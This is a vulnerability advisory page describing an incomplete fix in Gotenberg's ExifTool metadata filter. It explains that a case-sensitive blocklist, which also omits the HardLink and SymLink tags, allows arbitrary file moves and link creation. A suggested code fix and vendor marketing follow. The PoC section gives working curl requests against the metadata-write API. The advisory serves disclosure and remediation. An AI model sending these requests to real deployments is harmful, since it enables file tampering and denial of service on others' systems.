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GHSA-qmwh-9m9c-h36m

Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags

Published
Apr 7, 2026
Updated
Apr 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/gotenberg/gotenberg/v8

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
    delete(metadata, tag)
}

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags:

  • HardLink: creates a hard link to the file at the specified path
  • SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

  1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
  2. Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
  3. Create symbolic links at arbitrary paths via SymLink

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{
    "FileName",
    "Directory",
    "HardLink",
    "SymLink",
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gotenberg/gotenberg/v8all versions8.30.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gotenberg/gotenberg/v8 to 8.30.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qmwh-9m9c-h36m is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qmwh-9m9c-h36m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qmwh-9m9c-h36m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely. Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API. ## Root Cause `pkg/modules/exiftool/exiftool.go` lines 231-237: dangerousTags := []string{ "FileName", // Writing this triggers a file rename in ExifTool "Directory", //
O3 Security · Impact-Aware SCA

Is GHSA-qmwh-9m9c-h36m in your dependencies?

O3 detects GHSA-qmwh-9m9c-h36m across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.